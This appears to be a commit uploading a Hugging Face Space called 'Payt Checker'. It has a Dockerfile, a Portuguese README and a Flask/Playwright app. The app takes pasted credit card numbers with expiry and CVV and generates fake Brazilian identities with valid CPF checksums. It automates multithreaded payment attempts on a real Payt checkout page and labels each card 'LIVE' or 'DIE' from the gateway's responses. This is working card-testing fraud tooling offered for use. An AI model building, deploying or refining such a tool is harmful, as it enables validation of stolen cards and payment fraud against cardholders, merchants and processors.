Upload 4 files

Dockerfile

@@ -0,0 +1,40 @@
+FROM python:3.9-slim
+
+# Instalar dependências do sistema necessárias para o Playwright
+RUN apt-get update && apt-get install -y \
+    libglib2.0-0 \
+    libnss3 \
+    libnspr4 \
+    libatk1.0-0 \
+    libatk-bridge2.0-0 \
+    libcups2 \
+    libdrm2 \
+    libdbus-1-3 \
+    libxcb1 \
+    libxkbcommon0 \
+    libx11-6 \
+    libxcomposite1 \
+    libxdamage1 \
+    libxext6 \
+    libxfixes3 \
+    libxrandr2 \
+    libgbm1 \
+    libpango-1.0-0 \
+    libcairo2 \
+    libasound2 \
+    && rm -rf /var/lib/apt/lists/*
+
+WORKDIR /app
+
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+
+# Instalar navegadores do Playwright
+RUN playwright install chromium --with-deps
+
+COPY . .
+
+# Expor a porta padrão do Hugging Face Spaces
+EXPOSE 7860
+
+CMD ["python", "app.py"]

README.md

@@ -1,10 +1,89 @@
----
-title: Checkerv5
-emoji: 📉
-colorFrom: red
-colorTo: pink
-sdk: docker
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
+# Payt Checker
+
+Este é um aplicativo web que utiliza Python com Playwright e Flask-SocketIO para verificar cartões de crédito.
+
+## Como usar
+
+1.  **Cole seus cartões** no campo de texto fornecido no formato `número|mês|ano|cvv`.
+2.  **Ajuste o número de threads** (processos paralelos) usando o slider.
+3.  Clique em **"INICIAR CHECKER"** para começar o processo.
+4.  O status e os resultados (Lives, Dies, Erros) serão exibidos em tempo real na interface.
+
+## Estrutura do Projeto
+
+```
+app/
+├── app.py
+├── requirements.txt
+├── README.md
+├── templates/
+│   └── index.html
+└── static/
+    └── live.mp3 (Placeholder - arquivo de áudio para notificações)
+```
+
+## Dependências
+
+Este projeto requer as seguintes bibliotecas Python:
+
+-   `Flask`
+-   `Flask-SocketIO`
+-   `playwright`
+-   `requests`
+-   `gevent`
+-   `gevent-websocket`
+
+Além disso, o Playwright requer a instalação de navegadores. No ambiente Hugging Face Spaces, isso geralmente é tratado automaticamente se você usar um Dockerfile ou especificar as dependências corretas. Para garantir, você pode adicionar um comando de instalação do Playwright no seu Dockerfile ou no script de inicialização do Space:
+
+```bash
+playwright install
+```
+
+## Executando Localmente (para desenvolvimento)
+
+1.  Clone este repositório.
+2.  Navegue até a pasta `app`.
+3.  Crie um ambiente virtual e instale as dependências:
+    ```bash
+    python3 -m venv venv
+    source venv/bin/activate
+    pip install -r requirements.txt
+    playwright install
+    ```
+4.  Execute o aplicativo:
+    ```bash
+    python app.py
+    ```
+5.  Abra seu navegador e acesse `http://127.0.0.1:7860`.
+
+## Deploy no Hugging Face Spaces
+
+Para fazer o deploy deste projeto no Hugging Face Spaces, siga estes passos:
+
+1.  Crie um novo Space no Hugging Face (escolha a opção "Blank" ou "Docker").
+2.  Conecte seu repositório Git local ao Space remoto.
+3.  Faça upload de todos os arquivos da pasta `app/` para o seu repositório do Space.
+4.  O Hugging Face Spaces detectará automaticamente o `app.py` e o `requirements.txt` e tentará instalar as dependências e executar o aplicativo.
+5.  Certifique-se de que o `live.mp3` esteja na pasta `static` dentro do seu Space.
+
+**Nota sobre Playwright no Hugging Face Spaces:**
+
+Para que o Playwright funcione corretamente em um ambiente Dockerizado como o Hugging Face Spaces, é crucial que os navegadores sejam instalados. O `Dockerfile` já está incluído no pacote para facilitar a configuração:
+
+```dockerfile
+FROM python:3.9-slim-buster
+
+WORKDIR /app
+
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+
+# Instala as dependências do Playwright e os navegadores
+RUN pip install playwright && playwright install --with-deps
+
+COPY . .
+
+CMD ["python", "app.py"]
+```
+
+Lembre-se de que o `app.py` está configurado para rodar na porta `7860`, que é a porta padrão que o Hugging Face Spaces expõe para aplicações web.

app.py

@@ -0,0 +1,394 @@
+
+from flask import Flask, render_template, request, jsonify
+from flask_socketio import SocketIO, emit
+from playwright.sync_api import sync_playwright
+import random
+import time
+import os
+import re
+import requests
+from datetime import datetime
+import threading
+
+app = Flask(__name__, template_folder='templates', static_folder='static')
+app.config['SECRET_KEY'] = 'supersecret!'
+socketio = SocketIO(app, cors_allowed_origins="*")
+
+# --- Classe PaytChecker adaptada para a web --- 
+class cores:
+    VERDE = '\033[92m'
+    VERMELHO = '\033[91m'
+    AZUL = '\033[94m'
+    AMARELO = '\033[93m'
+    RESET = '\033[0m'
+
+class PaytChecker:
+    def __init__(self, sid=None):
+        self.HEADLESS = True  # Sempre headless em ambiente de servidor
+        self.BASE_URL = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
+        self.lives = 0
+        self.dies = 0
+        self.errors = 0
+        self.total_checked = 0
+        self.stop_flag = False
+        self.sid = sid # Para enviar mensagens para um cliente específico
+        
+        self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
+
+    def emit_to_client(self, event, data):
+        if self.sid:
+            socketio.emit(event, data, room=self.sid)
+        else:
+            print(f"[SERVER] {event}: {data}")
+
+    def gerar_cpf_valido(self):
+        while True:
+            cpf = [random.randint(0, 9) for _ in range(9)]
+            soma = sum((i + 2) * cpf[8 - i] for i in range(9))
+            digito1 = 11 - (soma % 11)
+            if digito1 >= 10: digito1 = 0
+            cpf.append(digito1)
+            soma = sum((i + 2) * cpf[9 - i] for i in range(10))
+            digito2 = 11 - (soma % 11)
+            if digito2 >= 10: digito2 = 0
+            cpf.append(digito2)
+            cpf_str = ''.join(str(d) for d in cpf)
+            
+            if cpf_str not in ['00000000000', '11111111111', '22222222222', '33333333333',
+                               '44444444444', '55555555555', '66644444444', '77777777777',
+                               '88888888888', '99999999999']:
+                return cpf_str
+
+    def gerar_dados_aleatorios(self):
+        primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
+        sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
+        
+        nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
+        cpf = self.gerar_cpf_valido()
+        
+        nome_email = nome.split()[0].lower()
+        nome_email = re.sub(r'[^a-z]', '', nome_email)
+        email = f"{nome_email}{random.randint(1, 99999)}{random.choice(self.provedores_email)}"
+        
+        telefone = f"{random.randint(11, 99)}{random.randint(900000000, 999999999)}"
+        
+        return {
+            'nome': nome,
+            'nome_cartao': nome.upper(),
+            'cpf': cpf,
+            'email': email,
+            'telefone': telefone
+        }
+
+    def gerar_dados_4devs(self):
+        try:
+            url = 'https://www.4devs.com.br/ferramentas_online.php'
+            payload = {
+                'acao': 'gerar_pessoa',
+                'sexo': 'I',
+                'pontuacao': 'S',
+                'idade': '0',
+                'cep_estado': '',
+                'txt_qtde': '1',
+                'cep_cidade': ''
+            }
+            headers = {
+                'Accept': '*/*',
+                'Accept-Language': 'pt-BR,pt;q=0.9',
+                'Content-Type': 'application/x-www-form-urlencoded',
+                'Origin': 'https://www.4devs.com.br',
+                'Referer': 'https://www.4devs.com.br/gerador_de_pessoas',
+                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36'
+            }
+            
+            response = requests.post(url, data=payload, headers=headers, timeout=10)
+            response.raise_for_status()
+            
+            dados_json = response.json()
+            nome = dados_json.get('nome', '')
+            cpf = dados_json.get('cpf', '')
+            email = dados_json.get('email', '')
+            telefone = dados_json.get('telefone', '')
+            
+            if nome and cpf and email and telefone:
+                self.emit_to_client('log', {'type': 'info', 'badge': '4DEVS', 'msg': f'Dados reais obtidos: {nome} | {cpf}'})
+                return {
+                    'nome': nome,
+                    'nome_cartao': nome.upper(),
+                    'cpf': cpf,
+                    'email': email,
+                    'telefone': telefone
+                }
+            else:
+                raise ValueError("Dados incompletos retornados pela API")
+                
+        except Exception as e:
+            self.emit_to_client('log', {'type': 'warn', 'badge': '4DEVS', 'msg': f'Falha ao obter dados reais: {e}. Usando fallback aleatório.'})
+            return self.gerar_dados_aleatorios()
+
+    def preencher_campos(self, page, dados, numero, mes, ano, cvv):
+        page.fill('#full_name', dados['nome'])
+        page.fill('#email', dados['email'])
+        page.fill('#phone', dados['telefone'])
+        page.fill('#cpf_cnpj', dados['cpf'])
+        page.evaluate("window.scrollBy(0, 400)")
+        time.sleep(0.3)
+        page.fill('#cardNumber', numero)
+        page.fill('#cardName', dados['nome_cartao'])
+        page.fill('#cardDueDate', f"{mes}{ano}")
+        page.fill('#cardCvv', cvv)
+        page.evaluate("window.scrollBy(0, 200)")
+        time.sleep(0.3)
+
+    def clicar_botao(self, page):
+        time.sleep(0.5)
+        seletores = ['button:has-text("Confirmar Pagamento")', 'button:has-text("Confirmar")',
+                     'button[type="submit"]', '.btn-primary']
+        for seletor in seletores:
+            try:
+                if page.locator(seletor).count() > 0:
+                    btn = page.locator(seletor).first
+                    if btn.is_visible():
+                        btn.scroll_into_view_if_needed()
+                        btn.click(force=True)
+                        return True
+            except: continue
+        return False
+
+    def classificar_retorno(self, mensagem):
+        termos_live = [
+            "Sua compra ainda não foi finalizada",
+            "Saldo insuficiente, aumente seu limite e realize a compra.",
+            "Não pudemos processar seu pagamento, entre em contato com o suporte.",
+            "Verifique os dados do seu cartão e tente novamente"
+        ]
+        termos_die = [
+            "Revise os dados do cartão e tente novamente.",
+            "Não conseguimos processar seu pagamento, tente novamente mais tarde."
+        ]
+        
+        for termo in termos_live:
+            if termo.lower() in mensagem.lower():
+                return "LIVE"
+        for termo in termos_die:
+            if termo.lower() in mensagem.lower():
+                return "DIE"
+        return "DIE"
+
+    def capturar_retorno(self, page):
+        time.sleep(2)
+        
+        for tentativa in range(60):
+            if self.stop_flag: return "STOPPED", "Processamento interrompido"
+            time.sleep(1)
+            
+            url = page.url
+            if "obrigado" in url or "success" in url:
+                return "LIVE", "Pagamento aprovado com sucesso!"
+            
+            try:
+                msg = page.locator('//*[@id="app"]/nav/div/p')
+                if msg.count() > 0:
+                    texto = msg.first.text_content()
+                    if texto and len(texto.strip()) > 5:
+                        texto_completo = texto.strip()
+                        resultado = self.classificar_retorno(texto_completo)
+                        return resultado, texto_completo
+            except: pass
+            
+            try:
+                container = page.locator('//*[@id="app"]/nav/div')
+                if container.count() > 0:
+                    texto = container.first.text_content()
+                    if texto and len(texto.strip()) > 5:
+                        texto = re.sub(r'Algo deu errado|Atualizar|Confirmar|Continuar|Parcelas|Voltar', '', texto)
+                        texto_completo = ' '.join(texto.split())
+                        if len(texto_completo) > 5:
+                            resultado = self.classificar_retorno(texto_completo)
+                            return resultado, texto_completo
+            except: pass
+            
+            try:
+                body = page.locator('body').text_content()
+                mensagens = [
+                    "Sua compra ainda não foi finalizada",
+                    "Saldo insuficiente, aumente seu limite e realize a compra.",
+                    "Não pudemos processar seu pagamento, entre em contato com o suporte.",
+                    "Verifique os dados do seu cartão e tente novamente",
+                    "Revise os dados do cartão e tente novamente.",
+                    "Não conseguimos processar seu pagamento, tente novamente mais tarde."
+                ]
+                
+                for msg in mensagens:
+                    if msg.lower() in body.lower():
+                        resultado = self.classificar_retorno(msg)
+                        return resultado, msg
+            except: pass
+            
+            if (tentativa + 1) % 10 == 0:
+                self.emit_to_client('log', {'type': 'info', 'badge': 'WAIT', 'msg': f'Aguardando... {tentativa+1}/60'})
+        
+        return "DIE", "Timeout - Sem resposta da gateway"
+
+    def testar_cartao(self, cartao, i, total, thread_id):
+        if self.stop_flag: return
+
+        partes = cartao.split('|')
+        if len(partes) != 4:
+            self.errors += 1
+            self.total_checked += 1
+            self.emit_to_client('log', {'type': 'erro', 'badge': 'FORMAT', 'card': cartao, 'msg': 'Formato de cartão inválido', 'slot': thread_id})
+            self.update_stats(total)
+            return
+        
+        numero, mes, ano, cvv = partes
+        ano = ano[-2:] if len(ano) == 4 else ano
+        
+        dados = self.gerar_dados_4devs()
+        
+        inicio = time.time()
+        try:
+            with sync_playwright() as p:
+                browser = p.chromium.launch(headless=self.HEADLESS, args=['--no-sandbox', '--disable-setuid-sandbox'])
+                context = browser.new_context(viewport={'width': 1366, 'height': 768})
+                page = context.new_page()
+                
+                self.emit_to_client('thread_status', {'id': thread_id, 'status': 'active', 'card': cartao})
+                page.goto(self.BASE_URL, wait_until='domcontentloaded')
+                time.sleep(1.5)
+                
+                self.preencher_campos(page, dados, numero, mes, ano, cvv)
+                
+                if not self.clicar_botao(page):
+                    self.errors += 1
+                    self.total_checked += 1
+                    self.emit_to_client('log', {'type': 'erro', 'badge': 'CLICK', 'card': cartao, 'msg': 'Não foi possível clicar no botão de pagamento', 'slot': thread_id})
+                    self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
+                    self.update_stats(total)
+                    browser.close()
+                    return
+                
+                status, mensagem = self.capturar_retorno(page)
+                segundos = round(time.time() - inicio, 1)
+                
+                if status == "LIVE":
+                    self.lives += 1
+                    self.emit_to_client('log', {'type': 'live', 'badge': 'LIVE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
+                    self.emit_to_client('live_card', {'card': cartao, 'msg': mensagem, 'tempo': segundos})
+                    self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-live', 'card': cartao})
+                elif status == "DIE":
+                    self.dies += 1
+                    self.emit_to_client('log', {'type': 'die', 'badge': 'DIE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
+                    self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-die', 'card': cartao})
+                elif status == "STOPPED":
+                    self.emit_to_client('log', {'type': 'info', 'badge': 'STOP', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
+                    self.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': cartao})
+                    browser.close()
+                    return
+                
+                browser.close()
+                
+        except Exception as e:
+            self.errors += 1
+            self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': f'Erro inesperado: {e}', 'slot': thread_id})
+            self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
+        finally:
+            self.total_checked += 1
+            self.update_stats(total)
+
+    def update_stats(self, total_cards):
+        self.emit_to_client('update_stats', {
+            'lives': self.lives,
+            'dies': self.dies,
+            'errors': self.errors,
+            'total': total_cards,
+            'checked': self.total_checked
+        })
+        if self.total_checked == total_cards:
+            self.emit_to_client('process_complete', {'lives': self.lives, 'dies': self.dies, 'errors': self.errors})
+            self.emit_to_client('set_ui', {'on': False})
+
+
+# --- Rotas Flask e Socket.IO --- 
+
+@app.route('/')
+def index():
+    return render_template('index.html')
+
+processing_threads = []
+stop_event = threading.Event()
+
+@socketio.on('connect')
+def test_connect():
+    print(f'Client connected: {request.sid}')
+    emit('my response', {'data': 'Connected'}) # Pode ser removido se não for usado
+
+@socketio.on('disconnect')
+def test_disconnect():
+    print(f'Client disconnected: {request.sid}')
+
+@socketio.on('start_process')
+def start_process(data):
+    global processing_threads
+    global stop_event
+
+    if processing_threads and any(t.is_alive() for t in processing_threads):
+        emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Processo já em execução.'})
+        return
+
+    cards_raw = data['cards']
+    num_threads = int(data['threads'])
+    client_sid = request.sid
+
+    cards = [line.strip() for line in cards_raw.split('\n') if line.strip() and '|' in line.strip()]
+    total_cards = len(cards)
+
+    if not cards:
+        emit('log', {'type': 'erro', 'badge': 'SERVER', 'msg': 'Nenhum cartão válido fornecido.'})
+        emit('set_ui', {'on': False})
+        return
+
+    emit('set_ui', {'on': True})
+    emit('log', {'type': 'info', 'badge': 'SERVER', 'msg': f'Iniciando processamento de {total_cards} cartões com {num_threads} threads.'})
+    emit('update_stats', {'lives': 0, 'dies': 0, 'errors': 0, 'total': total_cards, 'checked': 0})
+
+    checker = PaytChecker(sid=client_sid)
+    stop_event.clear() # Limpa o evento de parada para um novo processamento
+
+    processing_threads = []
+    cards_per_thread = (total_cards + num_threads - 1) // num_threads
+
+    def worker(cards_chunk, thread_id, total_cards_overall):
+        for i, card in enumerate(cards_chunk):
+            if stop_event.is_set():
+                checker.emit_to_client('log', {'type': 'info', 'badge': 'THREAD', 'msg': f'Thread {thread_id+1} interrompida.', 'slot': thread_id})
+                break
+            checker.testar_cartao(card, checker.total_checked + 1, total_cards_overall, thread_id)
+            time.sleep(0.5) # Pequeno delay entre os cartões para evitar sobrecarga
+        checker.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': ''})
+
+    for i in range(num_threads):
+        start_idx = i * cards_per_thread
+        end_idx = min((i + 1) * cards_per_thread, total_cards)
+        chunk = cards[start_idx:end_idx]
+        if chunk:
+            thread = threading.Thread(target=worker, args=(chunk, i, total_cards))
+            processing_threads.append(thread)
+            thread.start()
+
+@socketio.on('stop_process')
+def stop_process():
+    global stop_event
+    stop_event.set() # Sinaliza para as threads pararem
+    emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Sinal de parada enviado. Aguardando threads finalizarem...'})
+    emit('set_ui', {'on': False})
+
+@app.route('/api/download/lives')
+def download_lives():
+    # Implementar a lógica de download de lives, se necessário
+    # Por enquanto, retorna um arquivo vazio ou uma mensagem de erro
+    return "Funcionalidade de download de lives não implementada ainda.", 501
+
+
+if __name__ == '__main__':
+    socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)

requirements.txt

@@ -0,0 +1,6 @@
+Flask
+Flask-SocketIO
+playwright
+requests
+gevent
+gevent-websocket